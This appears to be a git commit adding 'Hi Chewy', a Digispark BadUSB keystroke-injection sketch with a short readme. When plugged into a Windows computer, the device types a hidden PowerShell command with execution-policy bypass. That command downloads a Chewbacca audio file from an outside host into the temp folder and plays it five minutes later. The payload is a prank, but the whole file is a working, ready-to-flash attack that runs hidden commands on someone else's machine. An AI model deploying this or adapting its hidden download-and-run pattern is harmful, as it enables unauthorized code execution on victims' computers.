Added Hi_Chewy
This commit is contained in:
parent
10559d9250
commit
cc1d098475
Binary file not shown.
|
@ -0,0 +1,31 @@
|
||||||
|
//Hi Chewy opens a hidden powershell window, downloads a 60 second wav file of random Chewbacca from Star Wars clips, and then
|
||||||
|
//waits 5 minutes and plays it
|
||||||
|
|
||||||
|
#include "DigiKeyboard.h"
|
||||||
|
void setup() {
|
||||||
|
}
|
||||||
|
|
||||||
|
void loop() {
|
||||||
|
DigiKeyboard.sendKeyStroke(0);
|
||||||
|
DigiKeyboard.delay(500);
|
||||||
|
DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);
|
||||||
|
DigiKeyboard.delay(500);
|
||||||
|
DigiKeyboard.print(F("powershell -NoP -Win H -Noni -Exec Bypass"));
|
||||||
|
DigiKeyboard.sendKeyStroke(KEY_ENTER);
|
||||||
|
DigiKeyboard.delay(500);
|
||||||
|
DigiKeyboard.print(F("start-sleep 300;"));
|
||||||
|
DigiKeyboard.print(F("irm -uri \"https://badusb.dev/tr/files/Chewbacca.wav\" -OutFile \"$env:temp\\play.wav\";"));
|
||||||
|
DigiKeyboard.print(F("Add-Type -AssemblyName presentationCore;"));
|
||||||
|
DigiKeyboard.print(F("$filepath = [uri] \"$env:temp\\play.wav\";"));
|
||||||
|
DigiKeyboard.print(F("$wmplayer = New-Object System.Windows.Media.MediaPlayer;"));
|
||||||
|
DigiKeyboard.print(F("$wmplayer.Open($filepath);"));
|
||||||
|
DigiKeyboard.print(F("Start-Sleep 2;"));
|
||||||
|
DigiKeyboard.print(F("$duration = $wmplayer.NaturalDuration.TimeSpan.TotalSeconds;"));
|
||||||
|
DigiKeyboard.print(F("$wmplayer.Play();"));
|
||||||
|
DigiKeyboard.print(F("Start-Sleep $duration;"));
|
||||||
|
DigiKeyboard.print(F("$wmplayer.Stop();"));
|
||||||
|
DigiKeyboard.print(F("$wmplayer.Close();"));
|
||||||
|
DigiKeyboard.delay(500);
|
||||||
|
DigiKeyboard.sendKeyStroke(KEY_ENTER);
|
||||||
|
for(;;){ /*empty*/ }
|
||||||
|
}
|
|
@ -0,0 +1 @@
|
||||||
|
Hi Chewy opens a hidden powershell window, downloads a 60 second wav file of random Chewbacca from Star Wars clips, waits 5 minutes and then plays it.
|
Loading…
Reference in New Issue